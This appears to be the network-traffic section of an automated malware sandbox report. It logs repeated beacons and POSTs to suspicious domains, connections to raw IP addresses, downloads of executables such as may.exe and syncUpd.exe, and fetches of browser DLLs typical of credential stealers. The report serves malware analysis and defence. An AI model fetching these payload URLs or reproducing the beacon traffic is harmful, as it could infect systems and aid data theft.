Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /IPlayerService/GetSteamLevel/v1/?key=51DA979B9FB5A21B42737CF7DFF0E4D4&steamid=76561198020534850 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36host: api.steampowered.comaccept-encoding: gzip, deflateConnection: close
Source: global traffic	HTTP traffic detected: GET /IPlayerService/GetSteamLevel/v1/?key=51DA979B9FB5A21B42737CF7DFF0E4D4&steamid=76561198020534850 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36host: api.steampowered.comaccept-encoding: gzip, deflateConnection: close
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://chdkricrlhf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: sjyey.com
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://msnvlyecbbyowece.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: selebration17io.io
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gerecfowolcnxtwh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tdghspgwpfxwlen.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: sjyey.com
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qduhipdaqvysxd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: selebration17io.io
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnbsjyphxbipvsc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: sjyey.com
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 108.39.229.147
Source: unknown	TCP traffic detected without corresponding DNS query: 108.39.229.147
Source: unknown	TCP traffic detected without corresponding DNS query: 108.39.229.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.220.101.144
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.19

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=UTF-8X-eresult: 1Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 52Cache-Control: private, max-age=860Expires: Mon, 05 Feb 2024 10:15:01 GMTDate: Mon, 05 Feb 2024 10:00:41 GMTConnection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 00 ab 56 2a 4a 2d 2e c8 cf 2b 4e 55 b2 aa 56 2a c8 49 ac 4c 2d 8a cf 49 2d 4b cd 51 b2 32 34 ae ad 05 00 c2 72 c6 f4 20 00 00 00 Data Ascii: VJ-.+NUVIL-I-KQ24r
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=UTF-8X-eresult: 1Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 52Cache-Control: private, max-age=860Expires: Mon, 05 Feb 2024 10:15:01 GMTDate: Mon, 05 Feb 2024 10:00:41 GMTConnection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 00 ab 56 2a 4a 2d 2e c8 cf 2b 4e 55 b2 aa 56 2a c8 49 ac 4c 2d 8a cf 49 2d 4b cd 51 b2 32 34 ae ad 05 00 c2 72 c6 f4 20 00 00 00 Data Ascii: VJ-.+NUVIL-I-KQ24r

Source: global traffic	HTTP traffic detected: GET /photo/1.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mmtplonline.com
Source: global traffic	HTTP traffic detected: GET /api/stats/watchtime?ns=yt&el=detailpage&inview=1&feature=related&cpn=rSxKbKsd6w81ZJ5T&docid=he6tgOIX_rU&ver=2&ei=UaTAZeGsMrm8_9EPmO-ROA&fmt=243&fs=0&rt=539&of=wbAUJoLFDaeeOSJrHXH1sg&euri=&lact=4019&live=dvr&cl=602892282&state=playing&vm=CAEQABgEOjJBSHFpSlRMWmFHS19wcll0S1Z0cWtYSXpCb2lKUGEyVEEwYWFIMGRDNm5TRnB1X09KZ2JiQVBta0tESXI2MWtnbHZvdkxiLU9lbE5JbXJITlpYZzBZNG01d25CbzZqLU1XU1dkeUZxS0VMV2hRR1ZmekpRcFlhTVlBYlQtWXZ1Q1ZsUWFRWVhnUWJDOVdSMVBrejctV3doAg&volume=100&cbr=Chrome&cbrver=102.0.0.0&c=WEB&cplayer=UNIPLAYER&cver=2.20231219.04.00&cos=Windows&cosver=10.0&cplatform=DESKTOP&delay=5&hl=en_US&rtn=839&aftm=140&rti=539&plid=AAYQnrtSYNYWq7ag&muted=0 HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /data/pdf/may.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: real.avalmag.com
Source: global traffic	HTTP traffic detected: GET /288c47bbc1871b439df19ff4df68f0776.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.172.128.19
Source: global traffic	HTTP traffic detected: GET /check/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: trmpc.com
Source: global traffic	HTTP traffic detected: GET /cpa/ping.php?substr=four&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
